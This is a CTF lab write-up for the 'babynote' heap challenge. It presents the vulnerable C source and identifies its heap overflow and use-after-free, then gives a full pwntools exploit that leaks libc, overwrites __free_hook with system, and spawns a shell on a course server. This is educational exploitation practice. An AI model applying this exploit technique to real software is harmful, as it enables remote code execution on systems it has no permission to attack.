Simple PWN 0x18(Lab - `babynote`)

Simple PWN 0x18(Lab - babynote)

tags: CTF PWN eductf

Version: Ubuntu 20.04

Background

Original Code

:::spoiler code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct Note
{
    char name[0x10];
    void *data;
};

struct Note *notes[0x10];

static short int get_idx()
{
    short int idx;

    printf("index\n> ");
    scanf("%hu", &idx);

    if (idx >= 0x10)
        printf("no, no ...\n"), exit(1);
    
    return idx;
}

static short int get_size()
{
    short int size;

    printf("size\n> ");
    scanf("%hu", &size);
    
    return size;
}

void add_note()
{
    short int idx;

    idx = get_idx();
    notes[idx] = malloc(sizeof(*notes[idx]));

    printf("note name\n> ");
    read(0, notes[idx]->name, 0x10);

    notes[idx]->data = NULL;
    printf("success!\n");
}

void edit_data()
{
    short int idx;
    short int size;

    idx = get_idx();
    size = get_size();

    if (notes[idx]->data == NULL)
        notes[idx]->data = malloc(size);
    
    read(0, notes[idx]->data, size);
    printf("success!\n");
}

void del_note()
{
    short int idx;

    idx = get_idx();
    free(notes[idx]->data);
    free(notes[idx]);
    printf("success!\n");
}

void show_notes()
{
    for (int i = 0; i < 0x10; i++) {
        if (notes[i] == NULL || notes[i]->data == NULL)
            continue;
        
        printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data);
    }
}

int main()
{
    char opt[2];

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        printf("1. add_note\n"
               "2. edit_data\n"
               "3. del_note\n"
               "4. show_notes\n"
               "5. bye\n"
               "> ");
        read(0, opt, 2);

        switch (opt[0]) {
        case '1': add_note(); break;
        case '2': edit_data(); break;
        case '3': del_note(); break;
        case '4': show_notes(); break;
        case '5': exit(0);
        }
    }
    
    return 0;
}

:::

Description

The data structure is as below, we can use add_note to create a new note and use edit_note to add/modify the data of note. Or just delete specific note or use show_note to print all of them.

Something Wrong

  • edit_note has heap overflow So that we can add 2 notes and use edit function to overlap the 2nd notes.
      add_note(0, b'a'*8)
      edit_note(0, 0xa, b'a')
    
      add_note(1, b'b'*8)
      edit_note(1, 0x30, b'a'*48) #<-- overlap
    
    • Before overlap

    • After overlap

  • used after free(UAF) It has not deleted the pointer when it was freed
      void del_note()
      {
          short int idx;
    
          idx = get_idx();
          free(notes[idx]->data);
          free(notes[idx]);
          printf("success!\n");
      }
    

Preliminary Idea

Based on the problem we found above, we can try to use __free_hook to execute `system('/bin/sh')`

Exploit - UAF + heap overflow + __free_hook

  1. Try to construct heap structure that we need
     add_note(0, b'a'*8)    # index 0
     edit_note(0, 0x418, b'a')
    
     add_note(1, b'b'*8)    # index 1
     edit_note(1, 0x18, b'b')
    
     add_note(2, b'c'*8)    # index 2
    
    • index 0 is for leaking the address of libc
    • index 1 is to implement heap overflow
    • index 2 is a fake chunk that we have to construct
  2. Leak libc address and find __free_hook, __libc_system
    • The reason that we set the data size of index 0 be 0x418(1048 in decimal) is because when we free it, it will be classified to Unsorted bin and the fd and bk will store the address of libc Then we have to find where is __libc_system and __free_hook
       pwndbg> p __libc_system
       $1 = {int (const char *)} 0x7f9614bac290 <__libc_system>
       pwndbg> p &__free_hook
       $2 = (void (**)(void *, const void *)) 0x7f9614d48e48 <__free_hook>
      

      The offset is Unsorted bin fd: $0x7f9614d46be0 - 0x7f9614b5a000 = 0x1ecbe0$ __libc_system: $0x7f9614bac290 - 0x7f9614b5a000 = 0x52290$ __free_hook: $0x7f9614d48e48 - 0x7f9614b5a000 = 0x1eee48$

    So, we delete index 0 first, and try to use show_note function to receive the Unsorted bin fd

     delete_note(0)
     show_note()
     r.recvuntil(b'data:')
     libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000
     info(f"libc address: {hex(libc)}")
     free_hook_addr = libc + 0x1eee48
     info(f"__free_hook address: {hex(free_hook_addr)}")
     libc_sys_addr = libc + 0x52290
     info(f"__libc_system address: {hex(libc_sys_addr)}")
    
  3. Construct fake chunk by using heap overflow
     data = b'/bin/sh\x00'.ljust(0x10, b'b')
     fake_chunk = flat(
         0, 0x21,
         b'cccccccc', b'cccccccc',
         free_hook_addr
     )
    
     edit_note(1, 0x38, data + fake_chunk)
     edit_note(2, 0x8, p64(libc_sys_addr))
    

    Note that, the data of note structure is a pointer that point to a space that system malloc. Thus, edit_note function will modify the pointed space, so that edit_note(b'2\n', b'8\n', p64(libc_sys_addr)) will modify [free_hook_addr] instead of index 2.

  4. Delete index 1 and call __free_hook When we free index 1 and __free_hook is not NULL, then __free_hook can be a function pointer to execute 0x7ffbb6500290 that is __libc_system and the parameter is index 1 data, that is /bin/sh\x00
     delete_note(1)
    
  5. Well, we got shell!!
  • Whole exploit :::spoiler code
      from pwn import *
    
      # r = process('./chal')
      r = remote('edu-ctf.zoolab.org', 10007)
    
      context.arch = 'amd64'
    
      def add_note(idx, note_name):
          r.sendafter(b'> ', b'1')
          r.sendlineafter(b'index\n> ', str(idx))
          r.sendafter(b'note name\n> ', note_name)
    
      def edit_note(idx, note_size, message):
          r.sendafter(b"> ", b"2")
          r.sendlineafter(b'index\n> ', str(idx))
          r.sendlineafter(b'size\n> ', str(note_size))
          r.send(message)
    
      def delete_note(idx):
          r.sendafter(b"> ", b"3")
          r.sendlineafter(b'index\n> ', str(idx))
    
      def show_note():
          r.sendafter(b"> ", b"4")
    
      '''------------------
      Construct heap memory
      ------------------'''
      add_note(0, b'a'*8)
      edit_note(0, 0x418, b'a')
    
      add_note(1, b'b'*8)
      edit_note(1, 0x18, b'b')
    
      add_note(2, b'c'*8)
    
      '''------------------
      Leak libc address
      ------------------'''
      delete_note(0)
      show_note()
      r.recvuntil(b'data:')
      libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000
      info(f"libc address: {hex(libc)}")
      free_hook_addr = libc + 0x1eee48
      info(f"__free_hook address: {hex(free_hook_addr)}")
      libc_sys_addr = libc + 0x52290
      info(f"__libc_system address: {hex(libc_sys_addr)}")
    
      '''------------------
      Construct fake chunk
      ------------------'''
      data = b'/bin/sh\x00'.ljust(0x10, b'b')
      fake_chunk = flat(
          0, 0x21,
          b'cccccccc', b'cccccccc',
          free_hook_addr
      )
    
      edit_note(1, 0x38, data + fake_chunk)
      edit_note(2, 0x8, p64(libc_sys_addr))
      delete_note(1)
    
      r.interactive()
    

    :::

Reference

SS111-Pwn2